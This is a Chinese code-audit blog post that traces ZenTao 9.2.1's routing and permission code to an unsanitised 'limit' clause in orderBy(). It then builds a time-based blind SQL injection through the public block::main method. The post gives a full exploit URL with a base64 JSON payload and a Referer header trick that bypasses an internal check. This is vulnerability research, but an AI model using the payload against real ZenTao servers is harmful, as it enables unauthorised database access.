代码审计-禅道9.2.1-sql注入

0x00 前言

审计cms:禅道开源项目管理软件

版本:9.2.1

工具:phpstorm+xdebug+seay

网站地址:http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/

严重参考:

https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html

https://www.anquanke.com/post/id/160473

0x01 路由

审计cms,首先要研究cms的路由,关注网站根目录下的.htaccess文件。该文件出现:

<IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{REQUEST_FILENAME} !-d 
  RewriteCond %{REQUEST_FILENAME} !-f 
  RewriteRule (.*)$ index.php/$1 [L]
</IfModule>

所有url,除了文件或者目录,都重写到index.php下。既该cms的入口文件是index.php。

查看index.php文件。

加载框架类:

include '../framework/router.class.php';
include '../framework/control.class.php';
include '../framework/model.class.php';
include '../framework/helper.class.php';

实例化一个App:

$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');

加载常用模块:

$common = $app->loadCommon();

解析请求、检查权限、载入模块:

$app->parseRequest();
$common->checkPriv();
$app->loadModule();

现在分析parseRequest()方法。parseRequest()方法位于\framework\base\router.class.php文件中(通过跟进router::createApp找到parseRequest函数)。内容如下:

 

public function parseRequest()
{
    if(isGetUrl())
    {
        if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
        $this->config->requestType = 'GET';
    }

    if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
    {
        $this->parsePathInfo();
        $this->setRouteByPathInfo();
    }
    elseif($this->config->requestType == 'GET')
    {
        $this->parseGET();
        $this->setRouteByGET();
    }
    else
    {
        $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
    }
}

 

isGetUrl会根据url判断请求方法是否为get类型:

function isGetUrl()
{
    $webRoot = getWebRoot();
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
    if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
    return false;
}

接下来根据config->requestType的值,进入pathinfo分支或者get分支。

parseXXX()作用为解析出url和显示类型(viewType:html)

setRouteByXXX()作用为根据解析出的url,解析并设置 ModuleName和MethodName与ControlName

(涉及相关的配置位于config\config.php和config\my.php下)

至此,路由前期工作完成。

现在分析checkPriv()方法。

checkPriv()方法位于\module\common\model.php文件中(通过跟进router::loadCommon()找到\module\common\model.php,再搜索找到)。内容如下:

public function checkPriv()
{
    $module = $this->app->getModuleName();
    $method = $this->app->getMethodName();
    if(isset($this->app->user->modifyPassword) and $this->app->user->modifyPassword and ($module != 'my' or $method != 'changepassword')) die(js::locate(helper::createLink('my', 'changepassword')));
    if($this->isOpenMethod($module, $method)) return true;
    if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
    if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();

    if(isset($this->app->user))
    {
        if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
    }
    else
    {
        $referer  = helper::safe64Encode($this->app->getURI(true));
        die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
    }
}

获得模块名和方法名后:判断是否需要改密码;判断是否使用开放方法;认证用户,已登录用户则判断用户是否具有对应方法的访问权限,否则跳转到登陆页面。

权限检查完毕,就载入对应的模块和方法,执行对应的应用逻辑。

 

0x02 挖掘sql注入漏洞

挖掘方式:

全项目搜索sql关键词,判断cms执行查询的方式,查找直接使用变量进入语句的函数,查找函数使用的method,查找使用method的module,构建payload执行。

全文搜索:select.*from.*where.*

 

 查看搜索结果ID 1:

 

 判断认为,禅道cms执行查询语句是通过调用抽象方法的,并不会直接使用完整的语句。

现在查看对应的抽象方法,有没有直接使用变量导致可能存在注入漏洞的代码。

翻看/lib/api/base/dao/dao.class.php,可以确定对应的查询抽象方法,都位于这个文件下的sql类。

 

 

现在看sql::orderBy()方法:

public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', ' ', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';
    $orders = trim($orders);
    if(empty($orders)) return $this;
    if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");

    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;

            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            if(strpos($field, '`') === false) $field = "`$field`";

            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    $order = join(',', $orders) . ' ' . $limit;

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

流程如下:

清理特殊字符:

定位limit:

 

 分离limit与orderby部分:

 

 整理orderby部分的格式:

正则匹配大致如下:

a desc

a.id desc

a desc,b desc

 

 

 转换orderby部分为数组:

 

 对order数组中数据继续转换为数组:

 

 处理orderby的字段,使得其符合如下模式:

a.id->a.`id`

 对字段处理完成后,重新join为order数组的元素:

 order数组继续join为order字符串,并拼接limit部分:

最终拼接 “order  by”:

 

发现,limit部分未做任何处理,就拼接到查询语句中,则调用orderBy的地方可能存在sql注入。

 

全文搜索:orderBy\(\$

 

 

 

 

 

 

 

 

 查看搜索结果ID 1,发现是getTrashes函数使用了orderBy:

 

 

可以看到,orderBy函数的参数为$orderBy,通过形参传入,我们继续搜索getTrashes函数,看下谁调用了它,且传入的$orderBy是否我们可控。

全文搜索:getTrashes\(\$

 查看搜索结果ID 1,发现是trash函数调用了getTrash

 

 

 

可以看到 ,getTrash的参数$type默认值为‘all’,也是通过形参传入,我们继续搜索trash函数。

全文搜索:trash\(\$

没有结果。说明调用trash函数可能是通过【函数名复制给一个变量,然后直接调用该变量】的形式。

 

看来有难度。

我们重新回到全文搜索调用orderBy函数的阶段,我们查看搜索结果ID 5:

 

 printCaseBlock函数在assigntome和openedbyme分支都调用了orderBy,orderBy函数的参数为$this->params->orderBy

 

 我们继续查找,谁调用了printCaseBlock函数,还需要确定$this->params->orderBy是否我们可控。

全文搜索:printCaseBlock\(

只找到printCaseBlock函数定义。

所以printCaseBlock函数也应该是通过函数名作为变量的方式来调用的,而且这个变量也有可能是还会继续组合的。

 

 分别全文搜索:printCaseBlock    .*?CaseBlock        print.*?Block        printCase.*?

 

 

 

 

 

 

 

 

 

可以看到,全文搜索 print.*?Block ,出来的搜索结果比较多。

查看搜索结果ID 14,block类的main函数在getblockdata分支下调用了print.*?Block函数:

 

 

 看下这个$code从哪儿来,往上翻main的代码:

 

$code来自于$get数组下的blockid字段

$get数组从哪里来的呢?main函数是类block的函数,类block继承于类control:

 

 control继承于baseControl:

 

 在baseControl类可以看到,$get是就是$_GET

 

 

 继续分析可以知道,baseControl类中的SetSuperVars设置了$get,来自于$this->app->get

 


 这个app其实就是禅道cms入口文件中实例化的$app,它的类为router类,继承于baseRouter类。baseRouter类中的setSuperVars函数实例化super类,将对象赋值给了$get:

 

 super类,其实就是个抽象化的指针:

 

当禅道cms中需要使用超级变量时,比如使用$this->get->key的形式去拿数据,由于本身super对象并不会存储get数组,它只是存储了对应的变量标记scope:'get',

所以key字段的值并不存在于super对象中,则php在读取类中的无法访问的值时会自动调用类的__get魔术方法,而在super类中实现的__get方法中,会将变量标记'get'对应的全局变量$GET数组中的key字段返回:

 

 

 

至此,可以确定类block的main函数中涉及调用printCaseBlock的变量都是我们可控的。

现在我们来整理下,利用思路:

怎么进入block:main呢?:

baseRouter::setRouteByGET:

 \config\config.php:

$_GET['m']=block

$_GET['f']=main

 

成功进入block::main后,如何进入到printCaseBlock呢?:

 

$_GET['mode']=getblockdata

$_GET['params']=base64编码(json格式(xxx))

 

$_GET['blockid']=case

 

成功进入block::printCaseBlock,如何进入到baseDAO::orderBy,且不会执行出错呢?:

xxx->type=openedbyme

 

xxx->orderby='order语句'

 

xxx->num='1' 

xxx={"type":"openedbyme","orderby"="order语句","num"="1"}

 

 

成功进入baseDAO::orderBy,如何正确插入sql注入语句插入到order语句中?:

 order语句=‘order limit sql注入语句’

(语句中的‘order’是表zt_case的字段,不可随意使用任意字段,必须得是表zt_case或或者zt_testrun的字段才不会报错,原因分析而:

sql语句order by 字段 必须得是查询的表的字段

在printCaseBLoc函数中的openedbyme分支中,可以看到from(TABLE_CASE),这个TABLE_CASE就是查询的表:

在config\config.php中定义了:

 

 

 由此得:TABLE_CASE的值为zt_case)

 

sql注入语句=‘1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))--’

 

至此,构造出payload为:

$_GET['m']=block

$_GET['f']=main

 $_GET['mode']=getblockdata

 $_GET['blockid']=case

 $_GET['params']=base64编码(json格式(xxx))

xxx={"orderBy":"order limit 1;select (if(ord(mid((select user()),1,1))=1,1,sleep(2)))-- ","num":"1,1","type":"openedbyme"}

 

http://localhost/CodeReview/ZenTaoPMS.9.2.1/www/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgIChpZihvcmQobWlkKChzZWxlY3QgdXNlcigpKSwxLDEpKT0xLDEsc2xlZXAoMikpKS0tICIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=

 

访问,发现返回空白

重新检测block:main,发现在block类的构造函数__contruct函数发现:

刚才的请求应该是进入到这个if分支中,执行了die('')。

如何绕过?:

只要$_SERVER['http_referer']与common:getSysURL()的值相等,则strpos返回0,则 || 连接的整个表达式的值为1,则$this->selfCall的值1

则!this->selfCall值为0,则不会进入if分支,不会执行 die('');

而common:getSysURL():

所以只需要在请求的header添加上:Referer:http://localhost 即可:

 

可以看到耗时2s多,我们传入的sql注入语句被执行了。

 

ps:1

其实还有个问题,我们知道,有些api是不会直接暴露出来的,可能需要认证后才可以访问,其中这个授权的工作是在什么地方做的呢?

我们跟踪一下:

index.php:

 这个$common来自何处?index.php:

 

 我们看看这个loadCommon()做了啥,跟进$app:

 

 进入\framework\base\router.class.php,可以看到是载入common模块,返回commonModel类:

 

模块都位于\moudle下,找到commom模块的位置,进入\module\common\model.php,看下checkPriv()函数:

关键是isOpenMethod函数,跟进查看:

 可以看到,我们这次审计出的block::main方法是公开的。

 ps:url中的<>会被html实体编码

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章